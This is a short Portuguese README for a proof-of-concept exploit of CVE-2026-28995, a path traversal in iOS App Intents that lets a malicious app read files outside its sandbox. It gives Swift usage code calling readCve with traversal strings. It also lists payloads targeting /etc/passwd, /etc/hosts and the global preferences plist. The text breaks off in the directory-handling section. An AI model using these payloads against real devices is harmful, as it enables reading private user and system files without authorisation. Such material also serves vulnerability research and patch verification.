CVE-2026-28995

Prova de Conceito para CVE-2026-28995 — Vulnerabilidade de Path Traversal no App Intents no iOS 26.4.2 e anteriores.

Descrição

Esta vulnerabilidade permite que um aplicativo malicioso leia qualquer arquivo fora de sua sandbox por meio do App Intents. A causa raiz é a validação insuficiente de caminho no framework App Intents da Apple.

Versões afetadas: iOS 26.4.2 e anteriores
Corrigido em: iOS 26.5 (11 de maio de 2026)

Uso

1. Função readCve(path: String) -> String

let intent = CVE_2026_28995()
let content = intent.readCve(path: "../../../../../../../../../../../../../etc/passwd")
print(content)

2. Exemplos de Caminhos

Caminho Lê ../../../../../../../../../../../../../etc/passwd Senhas dos usuários ../../../../../../../../../../../../../etc/hosts Arquivo hosts ../../../../../../../../../../../../../var/mobile/Library/Preferences/.GlobalPreferences.plist Preferências do sistema

3. Tratamento de Diretórios

Se o caminho apontar para um diretório, a função retorna: